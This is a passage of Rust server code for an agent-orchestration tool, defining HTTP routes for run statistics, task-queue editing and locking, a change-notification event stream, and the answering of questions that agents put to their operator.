5315/// One day of [`StatsView::daily`].
5316#[derive(Debug, Serialize)]
5317struct DailyStatsView {
5318    /// `YYYY-MM-DD`, server-local.
5319    date: String,
5320    runs: usize,
5321    merged: usize,
5322    ready: usize,
5323    other: usize,
5324    /// `None` on a day with no runs, so it never reads as 0%.
5325    completion_rate: Option<RateView>,
5326}
5327
5328impl From<&stats::DayBucket> for DailyStatsView {
5329    fn from(b: &stats::DayBucket) -> Self {
5330        Self {
5331            date: b.date.to_string(),
5332            runs: b.runs,
5333            merged: b.merged,
5334            ready: b.ready,
5335            other: b.other,
5336            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5337        }
5338    }
5339}
5340
5341/// How many days [`StatsView::daily`] covers.
5342const STATS_DAILY_DAYS: usize = 30;
5343
5344/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5345/// repository. Matched by full-path equality against `RunState.repo` only
5346/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5347/// `--repo` is, because the value here always came from this same route's
5348/// own `repos` list in an earlier response, never typed by a human. A value
5349/// matching no run is a 404, not an empty aggregate: the caller asked for a
5350/// specific, named repository, and silently returning zeroes would look
5351/// exactly like a repository that has runs but none of interest.
5352#[derive(Debug, Default, Deserialize)]
5353#[serde(default)]
5354struct StatsQuery {
5355    repo: Option<String>,
5356    /// `?all=true` keeps agents that are no longer in the roster.
5357    all: bool,
5358}
5359
5360/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5361/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5362/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5363/// prints from. Reads every readable run on disk, exactly as
5364/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5365/// a separately-maintained tally could.
5366async fn stats_get(
5367    State(ui): State<Arc<Ui>>,
5368    Query(q): Query<StatsQuery>,
5369) -> ApiResult<Json<StatsView>> {
5370    blocking(move || {
5371        let states: Vec<RunState> = run_ids(&ui.runs)
5372            .into_iter()
5373            .filter_map(|id| read_run(&ui.runs, &id).ok())
5374            .collect();
5375        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5376            .iter()
5377            .map(RepoSummaryView::from)
5378            .collect();
5379        let mut scoped: Vec<&RunState> = states.iter().collect();
5380        let mut collected = match &q.repo {
5381            Some(repo) => {
5382                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5383                if filtered.is_empty() {
5384                    return Err(ApiError::not_found(format!(
5385                        "no runs recorded against repo `{repo}`"
5386                    )));
5387                }
5388                scoped = filtered.clone();
5389                stats::collect_refs(filtered)
5390            }
5391            None => stats::collect(&states),
5392        };
5393        if !q.all {
5394            let repo = q
5395                .repo
5396                .as_deref()
5397                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5398            stats::retain_current_roster(&mut collected, &repo);
5399        }
5400        let daily = stats::daily(
5401            scoped,
5402            jiff::Zoned::now().date(),
5403            &jiff::tz::TimeZone::system(),
5404            STATS_DAILY_DAYS,
5405        );
5406        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5407        Ok(Json(StatsView {
5408            totals: StatsTotalsView::from(&collected.totals),
5409            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5410            reviewers: collected
5411                .reviewers
5412                .iter()
5413                .map(ReviewerStatsView::from)
5414                .collect(),
5415            advisors: collected
5416                .advisors
5417                .iter()
5418                .map(AdvisorStatsView::from)
5419                .collect(),
5420            e2e: E2eStatsView::from(&collected.e2e),
5421            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5422            queue: TaskCountsView::from(queue_counts),
5423            runs_unreadable: runs_unreadable(&ui.runs),
5424            repos,
5425            daily: daily.iter().map(DailyStatsView::from).collect(),
5426            repo: q.repo.clone(),
5427            retired_hidden: collected.retired_hidden.clone(),
5428        }))
5429    })
5430    .await
5431}
5432
5433/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5434/// gives no reason - which must keep working, since not every hold has one.
5435#[derive(Debug, Default, Deserialize)]
5436#[serde(default, deny_unknown_fields)]
5437struct HoldBody {
5438    reason: Option<String>,
5439}
5440
5441async fn queue_hold(
5442    State(ui): State<Arc<Ui>>,
5443    Path(id): Path<String>,
5444    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5445) -> ApiResult<Json<TaskView>> {
5446    // An absent body is the ordinary case - most holds are unexplained, and
5447    // that has to stay a one-tap action rather than a form. A body that is
5448    // present and malformed is still a bad request.
5449    let body = match body {
5450        Ok(Json(body)) => body,
5451        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5452        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5453    };
5454    let reason = body.reason.filter(|r| !r.trim().is_empty());
5455    mutate(ui, id, move |t| {
5456        t.hold_manual(reason.clone());
5457        Ok(())
5458    })
5459    .await
5460}
5461
5462async fn queue_release(
5463    State(ui): State<Arc<Ui>>,
5464    Path(id): Path<String>,
5465) -> ApiResult<Json<TaskView>> {
5466    mutate(ui, id, |t| {
5467        t.release();
5468        Ok(())
5469    })
5470    .await
5471}
5472
5473#[derive(Debug, Deserialize)]
5474#[serde(deny_unknown_fields)]
5475struct ImplementersBody {
5476    implementers: u8,
5477}
5478
5479async fn queue_implementers(
5480    State(ui): State<Arc<Ui>>,
5481    Path(id): Path<String>,
5482    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5483) -> ApiResult<Json<TaskView>> {
5484    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5485    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5486}
5487
5488/// The body of `POST /api/queue/{id}/priority`.
5489#[derive(Debug, Deserialize)]
5490#[serde(deny_unknown_fields)]
5491struct PriorityBody {
5492    priority: i32,
5493}
5494
5495/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5496///
5497/// [`Task::set_priority`] is the one place the "not while running" rule is
5498/// stated; this route only carries the body to it and lets its `Err` become
5499/// the 4xx the card shows.
5500async fn queue_priority(
5501    State(ui): State<Arc<Ui>>,
5502    Path(id): Path<String>,
5503    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5504) -> ApiResult<Json<TaskView>> {
5505    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5506    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5507}
5508
5509/// The body of `POST /api/queue/{id}/edit`.
5510#[derive(Debug, Deserialize)]
5511#[serde(deny_unknown_fields)]
5512struct EditBody {
5513    title: String,
5514    instruction: String,
5515    /// Save even though the new text names a branch, commit or pull request
5516    /// that unfinished work already owns.
5517    #[serde(default)]
5518    force: bool,
5519}
5520
5521/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5522/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5523/// that refusal's message is what the sheet shows back.
5524async fn queue_edit(
5525    State(ui): State<Arc<Ui>>,
5526    Path(id): Path<String>,
5527    body: std::result::Result<Json<EditBody>, JsonRejection>,
5528) -> ApiResult<Json<TaskView>> {
5529    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5530    // The judge is an agent call, so it is awaited here, outside the claim
5531    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5532    // remembered, and the save refuses if the task moved underneath it.
5533    let mut judged: Option<(String, PathBuf)> = None;
5534    if !body.force {
5535        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5536        let (id, text) = (id.clone(), body.instruction.clone());
5537        let (seen, hits) = blocking(move || {
5538            let id = resolve_task(&queue, &id)?;
5539            let t = queue.get(&id)?;
5540            if text == t.instruction {
5541                return Ok((None, Vec::new()));
5542            }
5543            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5544            Ok((Some((t.instruction, t.repo)), hits))
5545        })
5546        .await?;
5547        if let Some((_, repo)) = &seen {
5548            let cfg = crate::config::Config::discover(repo, None)
5549                .ok()
5550                .map(|(c, _)| c);
5551            let screened =
5552                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5553                    .await
5554                    .map_err(|dup| {
5555                        ApiError::conflict(dup.render(
5556                            "Nothing was saved. If it is not a duplicate, repeat the request \
5557                             with \"force\": true.",
5558                        ))
5559                    })?;
5560            if let crate::dupes::Screened::Unjudged(why) = screened {
5561                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5562            }
5563        }
5564        judged = seen;
5565    }
5566    let force = body.force;
5567    mutate(ui, id, move |t| {
5568        if !force && body.instruction != t.instruction {
5569            match &judged {
5570                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5571                _ => {
5572                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5573                }
5574            }
5575        }
5576        t.edit(body.title.clone(), body.instruction.clone())
5577    })
5578    .await
5579}
5580
5581/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5582/// it, so the phone's other way to clear a task from the backlog does not
5583/// have to cost the run history, the attribution, and `created_at` the way
5584/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5585/// can be marked done by hand, because this is for the run the loop never
5586/// saw land - a merge done by hand, or a gate that misreported - and that can
5587/// happen from any status the task was left in.
5588async fn queue_done(
5589    State(ui): State<Arc<Ui>>,
5590    Path(id): Path<String>,
5591) -> ApiResult<Json<TaskView>> {
5592    let home = ui.home.clone();
5593    mutate(ui, id, move |t| {
5594        t.succeed();
5595        // Same as the loop's own settle path: closing a task by hand is just
5596        // as much "this task's story is over" as a daemon-driven `Merged`/
5597        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5598        // behind must stop looking like it still needs a human. `ui.home`,
5599        // not the process-global `run::home()`: they agree in a real
5600        // process, but only `ui.home` also agrees with a test fixture's own
5601        // directory.
5602        crate::daemon::supersede_prior_runs(t, &home);
5603        Ok(())
5604    })
5605    .await
5606}
5607
5608/// `DELETE /api/queue/{id}`.
5609///
5610/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5611/// names this task: a `running` status or an orphaned `.lock` left behind by a
5612/// killed daemon is a leftover, and treating either as authority made the
5613/// task undeletable from the phone for good. The associated runs, if any, are
5614/// kept: a run is self-contained history and not an appendage of the task.
5615async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5616    blocking(move || {
5617        let id = resolve_task(&ui.queue, &id)?;
5618        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5619        ui.queue
5620            .remove(&id, in_flight, &ui.questions)
5621            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5622        Ok(StatusCode::NO_CONTENT)
5623    })
5624    .await
5625}
5626
5627/// Read a task, change it, write it back, under the queue's own lock.
5628///
5629/// Taking the same claim a daemon takes is what makes hold, release,
5630/// priority, edit, and done safe to press while magi is running: without it
5631/// the daemon's next save would land on top of the operator's change and
5632/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5633/// both do, for a running task - and that refusal becomes the 4xx the card
5634/// shows, same as any other domain rule.
5635async fn mutate(
5636    ui: Arc<Ui>,
5637    id: String,
5638    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5639) -> ApiResult<Json<TaskView>> {
5640    blocking(move || {
5641        let id = resolve_task(&ui.queue, &id)?;
5642        // `claim` fails when the lock file already exists, which is the
5643        // conflict the UI must report: the daemon owns that task's file for
5644        // as long as it is running it, and our write would be lost under its
5645        // next save. The message names the lock either way.
5646        let _claim = ui.queue.claim(&id).map_err(|e| {
5647            ApiError::conflict(format!(
5648                "{e:#} - a daemon is running this task, so it cannot be \
5649                 changed from here yet"
5650            ))
5651        })?;
5652        let mut task = ui.queue.get(&id)?;
5653        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5654            Ok(dup) => ApiError::conflict(dup.render(
5655                "Nothing was saved. If it is not a duplicate, repeat the request with \
5656                 \"force\": true.",
5657            )),
5658            Err(e) => ApiError::bad_request_from(e),
5659        })?;
5660        ui.queue.put(&mut task)?;
5661        Ok(Json(TaskView::from(task)))
5662    })
5663    .await
5664}
5665
5666/// The change stream: one revision number per store, on connect and whenever
5667/// any of them moves.
5668///
5669/// The poll runs in one spawned task per client, which is affordable because
5670/// the work is a directory scan and a `stat` per file. It stops as soon as the
5671/// receiver is gone, so a phone that walks out of range costs nothing after
5672/// its next tick - there is no session and no cleanup to forget.
5673async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5674    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5675    tokio::spawn(async move {
5676        let mut ticker = tokio::time::interval(POLL);
5677        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5678        let mut stamps: Option<[Stamps; 3]> = None;
5679        loop {
5680            // The first tick completes immediately, which is what makes the
5681            // stream announce the current revisions on connect.
5682            ticker.tick().await;
5683            let state = Arc::clone(&ui);
5684            let revisions = tokio::task::spawn_blocking(move || {
5685                let stamps = [
5686                    store_stamps(state.queue.root(), false),
5687                    store_stamps(&state.runs, true),
5688                    store_stamps(state.talks.root(), false),
5689                ];
5690                let revisions = (
5691                    stamps_revision(&stamps[0]),
5692                    stamps_revision(&stamps[1]),
5693                    state.questions.revision(),
5694                    stamps_revision(&stamps[2]),
5695                    state.notices.revision(),
5696                    // The loop's counter is in-process state rather than a
5697                    // file, so nothing the three stats above look at would
5698                    // tell this phone that another one started the loop.
5699                    state.lock_loop().rev,
5700                );
5701                (revisions, stamps)
5702            })
5703            .await;
5704            let Ok((revisions, next_stamps)) = revisions else {
5705                break;
5706            };
5707            if last == Some(revisions) {
5708                continue;
5709            }
5710            let mut payload = serde_json::json!({
5711                "queue_rev": revisions.0,
5712                "runs_rev": revisions.1,
5713                "questions_rev": revisions.2,
5714                "talks_rev": revisions.3,
5715                "notifications_rev": revisions.4,
5716                "loop_rev": revisions.5,
5717            });
5718            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5719                for (index, (key, rev)) in [
5720                    ("queue_delta", base.0),
5721                    ("runs_delta", base.1),
5722                    ("talks_delta", base.3),
5723                ]
5724                .into_iter()
5725                .enumerate()
5726                {
5727                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5728                    // Empty diffs may mean a non-file dependency moved. Read whole.
5729                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5730                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5731                    }
5732                }
5733            }
5734            last = Some(revisions);
5735            stamps = Some(next_stamps);
5736            // Giving up beats looping if the receiver is gone.
5737            let Ok(event) = Event::default().event("change").json_data(payload) else {
5738                break;
5739            };
5740            if tx.send(event).await.is_err() {
5741                break;
5742            }
5743        }
5744    });
5745    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5746        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5747}
5748
5749type Stamps = HashMap<String, (u128, u64)>;
5750
5751/// Metadata only: no task instructions or conversation bodies are read here.
5752fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5753    std::fs::read_dir(root)
5754        .into_iter()
5755        .flatten()
5756        .flatten()
5757        .filter_map(|entry| {
5758            let path = if runs {
5759                entry.path().join("run.json")
5760            } else {
5761                entry.path()
5762            };
5763            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5764                return None;
5765            }
5766            let metadata = path.metadata().ok()?;
5767            let modified = metadata
5768                .modified()
5769                .ok()?
5770                .duration_since(std::time::UNIX_EPOCH)
5771                .ok()?;
5772            let id = if runs {
5773                entry.file_name().to_string_lossy().into_owned()
5774            } else {
5775                path.file_stem()?.to_string_lossy().into_owned()
5776            };
5777            Some((id, (modified.as_nanos(), metadata.len())))
5778        })
5779        .collect()
5780}
5781
5782#[derive(Debug, Serialize)]
5783struct Delta {
5784    base: u64,
5785    changed: Vec<String>,
5786    removed: Vec<String>,
5787}
5788
5789fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5790    let mut changed: Vec<_> = next
5791        .iter()
5792        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5793        .map(|(id, _)| id.clone())
5794        .collect();
5795    let mut removed: Vec<_> = previous
5796        .keys()
5797        .filter(|id| !next.contains_key(*id))
5798        .cloned()
5799        .collect();
5800    changed.sort_unstable();
5801    removed.sort_unstable();
5802    Delta {
5803        base,
5804        changed,
5805        removed,
5806    }
5807}
5808
5809/// Change detection token for recorded runs under `runs`.
5810///
5811/// Combines the id and `run.json` modification time of each run, so adding,
5812/// updating, or deleting any run — even an older one — moves the revision and
5813/// notifies connected clients via the change stream. Returns 0 when no runs
5814/// exist.
5815fn runs_revision(runs: &FsPath) -> u64 {
5816    stamps_revision(&store_stamps(runs, true))
5817}
5818
5819/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5820/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5821/// and deleting an older conversation (a newest-mtime token cannot do that).
5822fn stamps_revision(stamps: &Stamps) -> u64 {
5823    use std::hash::{Hash as _, Hasher as _};
5824    if stamps.is_empty() {
5825        return 0;
5826    }
5827    let mut entries: Vec<_> = stamps.iter().collect();
5828    entries.sort_unstable();
5829    let mut hasher = std::hash::DefaultHasher::new();
5830    entries.hash(&mut hasher);
5831    hasher.finish().max(1)
5832}
5833
5834/// Run ids under `runs`, newest first.
5835///
5836/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5837/// which reads the process-global home: the server has to be drivable against
5838/// a temp directory for any of this to be testable.
5839fn run_ids(runs: &FsPath) -> Vec<String> {
5840    let mut ids: Vec<String> = std::fs::read_dir(runs)
5841        .into_iter()
5842        .flatten()
5843        .flatten()
5844        .filter(|e| e.path().join("run.json").is_file())
5845        .map(|e| e.file_name().to_string_lossy().into_owned())
5846        .collect();
5847    // Ids start with a sortable timestamp.
5848    ids.sort_unstable_by(|a, b| b.cmp(a));
5849    ids
5850}
5851
5852/// Read one run's state from an explicit runs root.
5853fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5854    let path = runs.join(id).join("run.json");
5855    let body =
5856        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5857    let state: RunState =
5858        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5859    // The same migration `RunState::load` applies, so a record from the
5860    // previous schema reads here as it does everywhere else (an origin-less
5861    // run shows as "origin unknown") instead of vanishing from the phone the
5862    // moment the schema is bumped.
5863    run::migrate_schema(state)
5864}
5865
5866/// Runs on disk under `runs` whose state this build cannot parse - almost
5867/// always a schema bump, occasionally a run killed mid-write.
5868///
5869/// Exposed so every surface that reports on runs shares one count instead of
5870/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5871/// `magi doctor` calls this directly rather than guessing at the same number
5872/// a second way.
5873#[must_use]
5874pub fn runs_unreadable(runs: &FsPath) -> usize {
5875    run_ids(runs)
5876        .into_iter()
5877        .filter(|id| read_run(runs, id).is_err())
5878        .count()
5879}
5880
5881/// Expand an id or short id to exactly one run id.
5882fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5883    if runs.join(id).join("run.json").is_file() {
5884        return Ok(id.to_owned());
5885    }
5886    pick(run_ids(runs), id, "run")
5887}
5888
5889/// Expand an id or short id to exactly one task id.
5890fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5891    if queue.path_of(id).is_file() {
5892        return Ok(id.to_owned());
5893    }
5894    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5895}
5896
5897/// A question as the phone reads it.
5898///
5899/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5900/// text already parsed into a node tree so the client never runs its own
5901/// markdown reader over agent-authored prose. A relative image path in it
5902/// resolves against this question's own panel asset route, which is the one
5903/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5904/// separate, sandboxed document, but `detail` is rendered inline in the
5905/// operator's own page, so an image reference in it may only ever point at
5906/// files magi itself already serves for this question.
5907#[derive(Debug, Serialize)]
5908struct QuestionView {
5909    #[serde(flatten)]
5910    question: Question,
5911    detail_md: Vec<md::Node>,
5912    /// Each thread turn's body, parsed; same order as `question.thread`.
5913    thread_bodies_md: Vec<Vec<md::Node>>,
5914    /// Each thread turn's deputy note, parsed (`None` for a turn without
5915    /// one); same order as `question.thread`.
5916    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5917    /// Is the ball in the agent's court right now?
5918    ///
5919    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5920    /// [`Question::say`] - so this is the one field that tells the phone to
5921    /// disable the answer controls and show "waiting for the agent" instead of
5922    /// a card the owner can act on. Computed rather than stored on
5923    /// [`Question`] itself, on the same reasoning as `waiting` on
5924    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5925    /// it here means the client never has to re-derive that rule.
5926    waiting_on_agent: bool,
5927    /// Who is waiting on this open question - see [`holder_of`]. Separate
5928    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5929    /// anyone is there to take it.
5930    holder: Option<&'static str>,
5931    /// Whether `magi serve` can start a follow-up agent for a conductor
5932    /// question at all: false when `daemon.max_deputies = 0` or the config is
5933    /// unreadable. Separate from `holder`, which says who is listening now.
5934    deputies_enabled: bool,
5935    /// `question.run` is a task id (conductor / triage questions), not a run
5936    /// id, so the UI links it to the task page.
5937    run_is_task: bool,
5938    /// The chat conversation this question's task came from, when the owner
5939    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5940    /// UI offers "Ask the chat agent" only when this is set; it is never one
5941    /// of `question.choices`.
5942    origin_chat: Option<String>,
5943    /// `origin_chat` is closed; consulting reopens it first.
5944    origin_chat_closed: bool,
5945}
5946
5947impl QuestionView {
5948    /// The view of `question`, reading who is waiting on it from `store`.
5949    ///
5950    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5951    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5952        let base = md::ImageBase::QuestionPanel {
5953            id: question.id.clone(),
5954        };
5955        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5956        Self {
5957            detail_md: md::to_nodes(&question.detail, &base),
5958            thread_bodies_md: question
5959                .thread
5960                .iter()
5961                .map(|t| md::to_nodes(&t.body, &base))
5962                .collect(),
5963            thread_notes_md: question
5964                .thread
5965                .iter()
5966                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5967                .collect(),
5968            waiting_on_agent: question.waiting_on_agent(),
5969            holder,
5970            deputies_enabled,
5971            run_is_task: question.run_names_task(),
5972            origin_chat: None,
5973            origin_chat_closed: false,
5974            question,
5975        }
5976    }
5977
5978    /// Fill `origin_chat` from the queue and the talks.
5979    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5980        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5981        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5982        self.origin_chat = talk.map(|t| t.id);
5983        self
5984    }
5985}
5986
5987/// The config this repository resolves, or `None` when it cannot be read.
5988/// Discovering is git processes plus a config render, so a request that needs
5989/// it for many items takes it once and passes it down.
5990fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5991    Config::discover(repo, None).ok().map(|(c, _)| c)
5992}
5993
5994/// Can `magi serve` start a deputy for this question under `cfg`?
5995fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5996    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5997}
5998
5999/// The views `GET /api/questions` answers. `load` runs at most once, however
6000/// many questions there are, and not at all when there are none.
6001fn question_views(
6002    qs: Vec<Question>,
6003    store: &ask::Questions,
6004    load: impl FnOnce() -> Option<Config>,
6005) -> Vec<QuestionView> {
6006    if qs.is_empty() {
6007        return Vec::new();
6008    }
6009    let cfg = load();
6010    qs.into_iter()
6011        .map(|q| {
6012            let on = deputies_enabled(cfg.as_ref(), &q);
6013            QuestionView::of(q, store, on)
6014        })
6015        .collect()
6016}
6017
6018/// Who is honestly waiting on an open question right now: `"asker"` (the
6019/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6020/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6021/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6022/// up, or the question never had anyone listening (a conductor question or a
6023/// merge approval from before deputies, or not yet given one).
6024///
6025/// `None` for a question that is settled, and for one that is not an agent's
6026/// to wait on at all (a release notice).
6027fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6028    if !q.status.open() {
6029        return None;
6030    }
6031    if q.cwd.is_none() && q.deputy.is_none() {
6032        return crate::deputy::kind_of(q).map(|_| "nobody");
6033    }
6034    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6035        Some(_) if q.deputy.is_some() => "deputy",
6036        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6037        Some(_) => "asker",
6038        None => "nobody",
6039    })
6040}
6041
6042/// `GET /api/questions`.
6043///
6044/// Everything, not just the open ones: an answered question is the record of a
6045/// decision, and the phone is where the operator goes back to check what they
6046/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6047async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6048    blocking(move || {
6049        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6050        Ok(Json(
6051            question_views(ui.questions.list(), &ui.questions, || {
6052                deputy_config(&ui.repo)
6053            })
6054            .into_iter()
6055            .map(|v| v.with_origin(&tasks, &talks))
6056            .collect(),
6057        ))
6058    })
6059    .await
6060}
6061
6062/// `GET /api/notifications`: not dismissed, newest first, with the unread
6063/// count so the badge and the list cannot disagree.
6064async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6065    blocking(move || {
6066        let items = ui.notices.list();
6067        let unread = items.iter().filter(|n| n.unread()).count();
6068        Ok(Json(
6069            serde_json::json!({ "unread": unread, "items": items }),
6070        ))
6071    })
6072    .await
6073}
6074
6075fn notice_error(e: anyhow::Error) -> ApiError {
6076    // An unknown or malformed id and a vanished file are the same answer to
6077    // the phone: that notification is gone.
6078    ApiError::not_found(format!("{e:#}"))
6079}
6080
6081/// `POST /api/notifications/{id}/read`.
6082async fn notification_read(
6083    State(ui): State<Arc<Ui>>,
6084    Path(id): Path<String>,
6085) -> ApiResult<Json<Notice>> {
6086    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6087}
6088
6089/// `POST /api/notifications/{id}/dismiss`.
6090async fn notification_dismiss(
6091    State(ui): State<Arc<Ui>>,
6092    Path(id): Path<String>,
6093) -> ApiResult<Json<Notice>> {
6094    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6095}
6096
6097/// `POST /api/notifications/read-all`.
6098async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6099    blocking(move || {
6100        let changed = ui.notices.mark_all_read()?;
6101        Ok(Json(serde_json::json!({ "marked": changed })))
6102    })
6103    .await
6104}
6105
6106/// The body of `POST /api/questions/{id}/answer`.
6107///
6108/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6109/// a bad request rather than a guess: an answer magi invented is worse than a
6110/// question left open.
6111#[derive(Debug, Default, Deserialize)]
6112#[serde(default, deny_unknown_fields)]
6113struct NewAnswer {
6114    choice: Option<String>,
6115    text: Option<String>,
6116}
6117
6118async fn question_answer(
6119    State(ui): State<Arc<Ui>>,
6120    Path(id): Path<String>,
6121    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6122) -> ApiResult<Json<QuestionView>> {
6123    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6124    let answer = match (body.choice, body.text) {
6125        (Some(c), None) => Answer::Choice(c),
6126        (None, Some(t)) => Answer::Text(t),
6127        (Some(_), Some(_)) => {
6128            return Err(ApiError::bad_request(
6129                "send either `choice` or `text`, not both",
6130            ));
6131        }
6132        (None, None) => {
6133            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6134        }
6135    };
6136
6137    blocking(move || {
6138        let id = resolve_question(&ui.questions, &id)?;
6139        let q = ui
6140            .questions
6141            .get(&id)
6142            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6143        if !q.status.open() {
6144            // Answered from the terminal, or by another phone, in between the
6145            // list and the tap. The UI shows the recorded answer rather than an
6146            // error, so it needs the record, not just the status.
6147            return Err(ApiError::conflict(format!(
6148                "question {} is already {}",
6149                q.short(),
6150                q.status.as_str()
6151            )));
6152        }
6153        // `Question::answer` owns the rules - an unoffered choice, free text on
6154        // a multiple-choice question, an empty reply - so the route does not
6155        // restate them and cannot drift from the CLI's behaviour.
6156        let (q, ()) = ui
6157            .questions
6158            .update(&q.id, |r| r.answer(answer))
6159            .map_err(ApiError::bad_request_from)?;
6160        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6161        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6162        Ok(Json(
6163            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6164        ))
6165    })
6166    .await
6167}
6168
6169/// The body of `POST /api/questions/{id}/say`.
6170#[derive(Debug, Deserialize)]
6171#[serde(deny_unknown_fields)]
6172struct NewSay {
6173    body: String,
6174}
6175
6176/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6177///
6178/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6179/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6180/// file, so there is no turn to serialize against and no
6181/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6182/// is a *different* process - the run parked behind `magi ask` - and picks
6183/// the reply up on its own poll of the very same file, same as an answer
6184/// does.
